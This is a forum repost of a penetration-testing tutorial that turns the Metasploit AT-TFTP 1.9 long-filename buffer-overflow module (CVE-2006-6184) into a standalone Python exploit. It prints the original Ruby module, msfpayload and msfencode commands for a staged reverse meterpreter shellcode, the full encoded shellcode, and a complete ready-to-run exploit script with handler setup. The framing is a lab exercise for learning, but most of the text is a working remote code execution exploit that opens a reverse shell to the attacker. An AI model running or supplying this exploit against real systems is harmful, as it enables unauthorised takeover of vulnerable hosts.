Jump to content
Nytro

Converting Metasploit Module to Stand Alone

Recommended Posts

Converting Metasploit Module to Stand Alone

Peleus

Sometimes you might want to have a stand alone exploit, but the only option out there is a Metasploit module. Sure you could always just fire up Metasploit and use it… but what fun would that be? Besides it’s great to understand what’s going on under the hood of the Metasploit modules for both getting a handle on writing your own exploits and in the future even writing your own Metasploit modules and contributing back to the fantastic project.

Requirements

  • Windows XP – SP3 Virtual Machine (Victim).
  • Kali Linux Virtual Machine (Attacker).
  • Allied Telesyn TFTP Server 1.9 (Available here).
  • A willingness to give things a go.

 

The Target

We’re going to be adapting the attftp_long_filename.rb module located at /usr/share/metasploit-framework/modules/exploits/windows/tftp/attftp_long_filename.rb and changing it into our own stand alone Python exploit. I’m by no means an experienced exploit writer so this is something that I’ve hacked together and figured out myself, there may be more optimal ways of doing each step. Full credit must be given to ‘patrick’ the original author of the module along with prop’s to c0re since we’re pulling out his return address.

attftp_long_filename.rb

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
  Rank = AverageRanking
 
  include Msf::Exploit::Remote::Udp
 
  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Allied Telesyn TFTP Server 1.9 Long Filename Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in AT-TFTP v1.9, by sending a
        request (get/write) for an overly long file name.
      },
      'Author'         => [ 'patrick' ],
      'References'     =>
        [
          ['CVE', '2006-6184'],
          ['OSVDB', '11350'],
          ['BID', '21320'],
          ['EDB', '2887'],
          ['URL', 'ftp://guest:guest@ftp.alliedtelesyn.co.uk/pub/utilities/at-tftpd19.zip'],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Payload'        =>
        {
          'Space'    => 210,
          'BadChars' => "\x00",
          'StackAdjustment' => -3500,
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
        # Patrick - Tested OK w2k sp0, sp4, xp sp 0, xp sp2 - en 2007/08/24
          [ 'Windows NT SP4 English',   { 'Ret' => 0x702ea6f7 } ],
          [ 'Windows 2000 SP0 English', { 'Ret' => 0x750362c3 } ],
          [ 'Windows 2000 SP1 English', { 'Ret' => 0x75031d85 } ],
          [ 'Windows 2000 SP2 English', { 'Ret' => 0x7503431b } ],
          [ 'Windows 2000 SP3 English', { 'Ret' => 0x74fe1c5a } ],
          [ 'Windows 2000 SP4 English', { 'Ret' => 0x75031dce } ],
          [ 'Windows XP SP0/1 English', { 'Ret' => 0x71ab7bfb } ],
          [ 'Windows XP SP2 English',   { 'Ret' => 0x71ab9372 } ],
          [ 'Windows XP SP3 English',   { 'Ret' => 0x7e429353 } ], # ret by c0re
          [ 'Windows Server 2003',      { 'Ret' => 0x7c86fed3 } ], # ret donated by securityxxxpert
          [ 'Windows Server 2003 SP2',  { 'Ret' => 0x7c86a01b } ], # ret donated by Polar Bear
        ],
      'Privileged'     => false,
      'DisclosureDate' => 'Nov 27 2006'))
 
    register_options(
      [
        Opt::RPORT(69),
        Opt::LHOST() # Required for stack offset
      ], self.class)
  end
 
  def exploit
    connect_udp
 
    sploit = "\x00\x02" + make_nops(25 - datastore['LHOST'].length)
    sploit << payload.encoded
    sploit << [target['Ret']].pack('V') 	# <-- eip = jmp esp. we control it.
    sploit << "\x83\xc4\x28\xc3" 		# <-- esp = add esp 0x28 + retn
    sploit << "\x00" + "netascii" + "\x00"
 
    udp_sock.put(sploit)
 
    disconnect_udp
  end
 
end

Key Points

Let’s run through some key points of the module and try and understand it a little better. Only parts that have an impact on our exploit will be examined.

Default Exit Options

'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },

As noted above, the default exit function is ‘process’. This the method in which the shellcode will exit after running and typically has an impact on how stable the vulnerable program will be after we send our exploit. This value should be noted for when we alter the shellcode used to suit our particular situation.

Payload

'Payload'        =>
        {
          'Space'    => 210,
          'BadChars' => "\x00",
          'StackAdjustment' => -3500,
        },

The payload is one of the key aspects we need to examine. This states that we have 210 bytes of space for our payload to reside in. Any larger and we may possibly run into issues of corruption or truncation of our exploit. Bad characters signify bytes that may impact our exploit. We need to ensure none of these characters are in our shellcode, and in this case it’s the almost universally bad null character ‘0x00’. For more information on bad characters search this site for writing basic buffer overflows. Finally we see something called stack adjustment. Essentially because we’re so restricted in space we need to utilize something called a staged payload. What we’re doing is only sending a small first instruction which is designed to connect back to us and get the main payload, which wouldn’t regularly fit. Because of this we need to adjust the stack pointer back 3500 bytes so it has room to actually write the payload without overwriting itself.

Targets

'Targets'        =>
        [
        # Patrick - Tested OK w2k sp0, sp4, xp sp 0, xp sp2 - en 2007/08/24
          [ 'Windows NT SP4 English',   { 'Ret' => 0x702ea6f7 } ],
          [ 'Windows 2000 SP0 English', { 'Ret' => 0x750362c3 } ],
          [ 'Windows 2000 SP1 English', { 'Ret' => 0x75031d85 } ],
          [ 'Windows 2000 SP2 English', { 'Ret' => 0x7503431b } ],
          [ 'Windows 2000 SP3 English', { 'Ret' => 0x74fe1c5a } ],
          [ 'Windows 2000 SP4 English', { 'Ret' => 0x75031dce } ],
          [ 'Windows XP SP0/1 English', { 'Ret' => 0x71ab7bfb } ],
          [ 'Windows XP SP2 English',   { 'Ret' => 0x71ab9372 } ],
          [ 'Windows XP SP3 English',   { 'Ret' => 0x7e429353 } ], # ret by c0re
          [ 'Windows Server 2003',      { 'Ret' => 0x7c86fed3 } ], # ret donated by securityxxxpert
          [ 'Windows Server 2003 SP2',  { 'Ret' => 0x7c86a01b } ], # ret donated by Polar Bear
        ],

Metasploit has a wide variety of targets for many exploits, which really is mostly a wide variety of suitable return addresses for each operating system. Because they are often using system dll’s these addresses are not changed from computer to computer and ensures exploit compatibility. In our case we wish to use the return address donated by c0re, Windows XP SP3.

The Exploit

  def exploit
    connect_udp
 
    sploit = "\x00\x02" + make_nops(25 - datastore['LHOST'].length)
    sploit << payload.encoded
    sploit << [target['Ret']].pack('V') 	# <-- eip = jmp esp. we control it.
    sploit << "\x83\xc4\x28\xc3" 		# <-- esp = add esp 0x28 + retn
    sploit << "\x00" + "netascii" + "\x00"
 
    udp_sock.put(sploit)
 
    disconnect_udp
  end

The main part all the rest has been leading up to, the exploit itself. Let’s go through it line by line to ensure we understand.

connect_udp

This signifies that the exploit will be sent over UDP packets. This line connects sets the target as the values in Metasploit such as RHOST and RPORT.

sploit = "\x00\x02" + make_nops(25 - datastore['LHOST'].length)

The exploit is started with two hex values, ‘0x00’ and ‘0x02’ followed by a series of NOPs. The nops component is going to be variable in length depending on the length of your LAN IP, but always totaling 25 in total. As an example the LHOST value of ‘192.168.1.2’ has a length of 11, while an IP address of ‘192.168.100.123’ has a length of 15. If you want to play around with this fire up IRB (Interactive Ruby Shell) and assign a variable such as LHOST = ‘192.168.1.50’. The command LHOST.length will then tell you the length value – or just count how many characters there are including periods.

sploit << payload.encoded

This line encodes the payload specified within Metasploit and encodes it in the required format. Metasploit will internally determine what payloads are suitable given the space available and the target operating system, and they can be viewed with the ‘show payloads’ command. When we say ‘required format’ it means that it will exclude the nominated bad characters earlier in the exploit.

sploit << [target['Ret']].pack('V')

This command will append the target return address into the exploit string. It’s presented as a variable here because within Metasploit you can nominate different operating systems, but for our purposes it will just be the Windows XP SP3 return address. The pack ‘V’ command signifies that it needs to be packed in little endian format, necessary for x86 processors.

sploit << "\x83\xc4\x28\xc3"

Translated into commands, this is instructing the esp register to add 40 bytes and return. Necessary to position esp correctly for our exploit.

sploit << "\x00" + "netascii" + "\x00"

The final string of our exploit, this terminates the data stream in a format AT-TFTP is expecting.

udp_sock.put(sploit)

This instructs Metasploit to send the exploit via UDP.

disconnect_udp

Self explainitory but this signifies it has finished with the UDP socket.

Adapting Each Part

Let’s summarize what we need to achieve in our own exploit for it to get working based on the above highlighted areas.

  • Create an appropriately sized NOP sled based off the size of LHOST
  • Nominate the return address and pack it in little endian format
  • Generate shellcode suitable for our situation (LHOST, etc)
  • Perform stack adjustment on the shellcode so our second stage can write correctly
  • Send the exploit over UDP with Python

About the only step in there which should sound a little challenging is this stack adjustment business, but really as with all things it’s a lot easier than it sounds.

Let’s begin with a very bare bones UDP framework for sending information to the target.

# AT-TFTP v1.9 Exploit
# Written for NetSec.ws
 
import sys, socket
 
# Use in the form "python attftp_long_filename.py <IP Address> <Port> <Your IP Address>"
 
host = sys.argv[1]		# Recieve IP from user
port = int(sys.argv[2])		# Recieve Port from user
 
exploit = ""			# Out future exploit location
 
client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)	# Declare a UDP socket
client.sendto(exploit, (host, port))				# Send the exploit over UDP to the nominated addresses

Now from here a lot of the information is going to be straight translations from the ruby counterparts. This includes creating the appropriate sized NOPs and the return address, along with the information we know will be sent to set up the exploit itself. Let’s incorporate that into our framework.

# AT-TFTP v1.9 Exploit
# Written for NetSec.ws
 
import sys, socket
 
# Use in the form "python attftp_long_filename.py <Target IP Address> <Port> <Your IP Address>"
 
host = sys.argv[1]		# Recieve IP from user
lhost = sys.argv[3]
port = int(sys.argv[2])		# Recieve Port from user
 
ret = "\x53\x93\x42\x7e" 	# Return address - Source Metasploit (Little Endian)
nop = "\x90" * (25-len(lhost))	# Create a NOP string as to bring NOPs + LHOST up to 25 bytes
payload = "" 			# Payload to be calculated
 
exploit = "\x00\x02" + nop + payload + ret + "\x83\xc4\x28\xc3\x00netascii\x00" 	# Our exploit so far
 
client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)	# Declare a UDP socket
client.sendto(exploit, (host, port))				# Send the exploit over UDP to the nominated addresses

Now we’ve got the known information we need to take the next step and factor in the stack adjustment for our staged payload.

Stack Adjustment

First we need to dump our payload into a raw hex file for further manipulation. Our payload in this case is going to be the meterpreter shell windows/meterpreter/reverse_nonx_tcp, chosen for it’s particularly small code footprint. We use the command,

msfpayload windows/meterpreter/reverse_nonx_tcp LHOST=192.168.1.2 LPORT=443 R > payload

If we wish to confirm this has successfully outputted to the file we can use the command

hexdump -C payload
 
00000000  fc 6a eb 47 e8 f9 ff ff  ff 60 31 db 8b 7d 3c 8b  |.j.G.....`1..}<.|
00000010  7c 3d 78 01 ef 8b 57 20  01 ea 8b 34 9a 01 ee 31  ||=x...W ...4...1|
00000020  c0 99 ac c1 ca 0d 01 c2  84 c0 75 f6 43 66 39 ca  |..........u.Cf9.|
00000030  75 e3 4b 8b 4f 24 01 e9  66 8b 1c 59 8b 4f 1c 01  |u.K.O$..f..Y.O..|
00000040  e9 03 2c 99 89 6c 24 1c  61 ff e0 31 db 64 8b 43  |..,..l$.a..1.d.C|
00000050  30 8b 40 0c 8b 70 1c ad  8b 68 08 5e 66 53 66 68  |0.@..p...h.^fSfh|
00000060  33 32 68 77 73 32 5f 54  66 b9 72 60 ff d6 95 53  |32hws2_Tf.r`...S|
00000070  53 53 53 43 53 43 53 89  e7 66 81 ef 08 02 57 53  |SSSCSCS..f....WS|
00000080  66 b9 e7 df ff d6 66 b9  a8 6f ff d6 97 68 c0 a8  |f.....f..o...h..|
00000090  01 02 66 68 01 bb 66 53  89 e3 6a 10 53 57 66 b9  |..fh..fS..j.SWf.|
000000a0  57 05 ff d6 50 b4 0c 50  53 57 53 66 b9 c0 38 ff  |W...P..PSWSf..8.|
000000b0  e6                                                |.|
000000b1

This will also come in handy when comparing the file against the post stack adjustment version. Next we need to find out what command we actually need to use to adjust the stack -3500 bytes. This can be done using the Metasploit tool nasm_shell.rb, located here /usr/share/metasploit-framework/tools/nasm_shell.rb. Putting in a assembly command will give you the hex machine instruction for that command. Since we want to subtract 3500 (0xDAC in hex) from the stack pointer we do the following,

ruby /usr/share/metasploit-framework/tools/nasm_shell.rb
nasm > sub esp, 0xDAC
00000000  81ECAC0D0000      sub esp,0xdac

This tells us we need to use the commands 81EC AC0D 0000 to achieve adjusting the stack by 3500. We output this into a raw hex file. You can do it however you wish, such as with a hex editor, but a quick one line example with perl is as follows,

perl -e 'print "\x81\xec\xac\x0d\x00\x00"' > stackadj

We now have two raw files, stackadj and our payload. We want to combine them both together which is a simple cat command,

cat stackadj payload > shellcode

To confirm we now have the file in a correct format we once more examine it with hexdump and compare it against our previous dump.

hexdump -C shellcode
00000000  81 ec ac 0d 00 00 fc 6a  eb 47 e8 f9 ff ff ff 60  |.......j.G.....`|
00000010  31 db 8b 7d 3c 8b 7c 3d  78 01 ef 8b 57 20 01 ea  |1..}<.|=x...W ..|
00000020  8b 34 9a 01 ee 31 c0 99  ac c1 ca 0d 01 c2 84 c0  |.4...1..........|
00000030  75 f6 43 66 39 ca 75 e3  4b 8b 4f 24 01 e9 66 8b  |u.Cf9.u.K.O$..f.|
00000040  1c 59 8b 4f 1c 01 e9 03  2c 99 89 6c 24 1c 61 ff  |.Y.O....,..l$.a.|
00000050  e0 31 db 64 8b 43 30 8b  40 0c 8b 70 1c ad 8b 68  |.1.d.C0.@..p...h|
00000060  08 5e 66 53 66 68 33 32  68 77 73 32 5f 54 66 b9  |.^fSfh32hws2_Tf.|
00000070  72 60 ff d6 95 53 53 53  53 43 53 43 53 89 e7 66  |r`...SSSSCSCS..f|
00000080  81 ef 08 02 57 53 66 b9  e7 df ff d6 66 b9 a8 6f  |....WSf.....f..o|
00000090  ff d6 97 68 c0 a8 01 02  66 68 01 bb 66 53 89 e3  |...h....fh..fS..|
000000a0  6a 10 53 57 66 b9 57 05  ff d6 50 b4 0c 50 53 57  |j.SWf.W...P..PSW|
000000b0  53 66 b9 c0 38 ff e6                              |Sf..8..|
000000b7

It’s exactly the same as our past payload but with the stack adjustment having taken place at the start of the exploit. We’re almost done now but we have one final step we need to do to the shellcode.

Encoding Shellcode

In both our stack adjustment command and the payload itself there are null characters which we need to remove. Msfencode comes to our rescue once again and we can reencode the payload without nulls.

cat shellcode | msfencode -b '\x00' -e x86/shikata_ga_nai -t python
[*] x86/shikata_ga_nai succeeded with size 210 (iteration=1)
 
buf =  ""
buf += "\xbb\xd2\x8c\x3a\x78\xdb\xd2\xd9\x74\x24\xf4\x58\x31"
buf += "\xc9\xb1\x2e\x31\x58\x15\x03\x58\x15\x83\xc0\x04\xe2"
buf += "\x27\x0d\xd6\xd4\xca\x0e\x27\xd9\xbe\xe5\x60\xc9\xc7"
buf += "\x05\x91\xf6\x57\xcb\xb5\x82\xea\x17\xc1\xe9\x29\x10"
buf += "\xd4\xfe\xda\xb7\xf6\x01\x36\xbc\xc3\x9b\xc7\x2d\x1a"
buf += "\x5c\x5e\x1d\x9c\x96\x6d\x5f\xdd\xa3\xad\x2a\x17\xe8"
buf += "\x4b\xec\x1d\x9a\x70\x45\x29\x2a\x52\x5b\xc4\xd3\x11"
buf += "\x47\x4f\x97\x6a\x64\x6e\x4e\x77\xb8\xe9\x19\x1b\xe4"
buf += "\x15\x7b\x1c\x04\x14\xa0\x86\x4e\x14\x66\xcd\x11\x97"
buf += "\x0d\xa1\x8d\x0a\x9a\x29\xa6\x0a\xfb\xfa\xd0\xda\x30"
buf += "\xce\x74\x6c\x44\x1c\xda\xc6\xcc\xd9\x96\x86\xef\xcf"
buf += "\xc2\x14\x43\xbc\xbf\xd9\x30\x01\x13\x57\x51\xe3\x12"
buf += "\x88\x96\xe9\x43\x04\xc1\x54\x8c\x75\xf2\x70\x35\x33"
buf += "\xa5\x13\x45\x95\x21\x83\x79\xb2\x4f\x51\x1c\xab\x4e"
buf += "\xee\x86\x78\xd8\xf3\x2d\x6f\x89\xa4\xd7\x36\x7a\x4f"
buf += "\xe7\x9f\xd5\xfb\x1b\x70\x85\x54\x77\x16\x90\x9a\x4f"
buf += "\x29\x04"

We can now cut and paste this shellcode into our python exploit. The final exploits looks like the below.

Final Stand Alone Exploit

# AT-TFTP v1.9 Exploit
# Written for NetSec.ws
 
import sys, socket
 
# Use in the form "python attftp_long_filename.py <Target IP Address> <Port> <Your IP Address>"
 
host = sys.argv[1]		# Recieve IP from user
lhost = sys.argv[3]
port = int(sys.argv[2])		# Recieve Port from user
 
ret = "\x53\x93\x42\x7e" 	# Return address - Source Metasploit (Little Endian)
nop = "\x90" * (25-len(lhost))	# Create a NOP string as to bring NOPs + LHOST up to 25 bytes
 
#msfpayload windows/meterpreter/reverse_nonx_tcp LHOST=192.168.1.2 LPORT=443 EXITFUNC=process R > payload
#cat shellcode | msfencode -b '\x00' -e x86/shaikata_ga_nai -t python
#[*] x86/shikata_ga_nai succeeded with size 210 (iteration=1)
 
buf =  ""
buf += "\xbb\xd2\x8c\x3a\x78\xdb\xd2\xd9\x74\x24\xf4\x58\x31"
buf += "\xc9\xb1\x2e\x31\x58\x15\x03\x58\x15\x83\xc0\x04\xe2"
buf += "\x27\x0d\xd6\xd4\xca\x0e\x27\xd9\xbe\xe5\x60\xc9\xc7"
buf += "\x05\x91\xf6\x57\xcb\xb5\x82\xea\x17\xc1\xe9\x29\x10"
buf += "\xd4\xfe\xda\xb7\xf6\x01\x36\xbc\xc3\x9b\xc7\x2d\x1a"
buf += "\x5c\x5e\x1d\x9c\x96\x6d\x5f\xdd\xa3\xad\x2a\x17\xe8"
buf += "\x4b\xec\x1d\x9a\x70\x45\x29\x2a\x52\x5b\xc4\xd3\x11"
buf += "\x47\x4f\x97\x6a\x64\x6e\x4e\x77\xb8\xe9\x19\x1b\xe4"
buf += "\x15\x7b\x1c\x04\x14\xa0\x86\x4e\x14\x66\xcd\x11\x97"
buf += "\x0d\xa1\x8d\x0a\x9a\x29\xa6\x0a\xfb\xfa\xd0\xda\x30"
buf += "\xce\x74\x6c\x44\x1c\xda\xc6\xcc\xd9\x96\x86\xef\xcf"
buf += "\xc2\x14\x43\xbc\xbf\xd9\x30\x01\x13\x57\x51\xe3\x12"
buf += "\x88\x96\xe9\x43\x04\xc1\x54\x8c\x75\xf2\x70\x35\x33"
buf += "\xa5\x13\x45\x95\x21\x83\x79\xb2\x4f\x51\x1c\xab\x4e"
buf += "\xee\x86\x78\xd8\xf3\x2d\x6f\x89\xa4\xd7\x36\x7a\x4f"
buf += "\xe7\x9f\xd5\xfb\x1b\x70\x85\x54\x77\x16\x90\x9a\x4f"
buf += "\x29\x04"
 
exploit = "\x00\x02" + nop + buf + ret + "\x83\xc4\x28\xc3\x00netascii\x00" 	# Our exploit
 
client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)	# Declare a UDP socket
client.sendto(exploit, (host, port))				# Send the exploit over UDP to the nominated addresses

Running the Exploit

Let’s test this against our Windows XP victim. Install AT-TFTP v1.9 from the link in the requirements. Ensure you unblock any firewall prompts to allow access. Because this is a staged payload, we need to set up Metasploit to catch the incoming shell. It wil then send the second much larger buffer (769536 bytes) that we could never have fit into our exploit itself. Run the commands sequentially,

msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_nonx_tcp
set LHOST <Your IP Address>
set LPORT 443
exploit

Now the fun stuff, we run the command,

python attftp_long_filename.py 192.168.1.104 69 192.168.1.2

It goes without saying you should put in your own IP values, but it should maintain the format python

All going well, this is the result…

image.png.5904a5f3f4eea1b608b918e899380a6d.png

Congratulations, you’ve successfully modified your first Metasploit module into a stand alone exploit. You should have a lot better understanding of whats happening under the hood in Metasploit now, and even have a handle on staged vs non-staged payloads given we used a non staged payload in the ‘Simple Buffer Overflows’ post. If you haven’t read it yet, I suggest you check it out.

 

Sursa: https://netsec.ws/?p=262

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...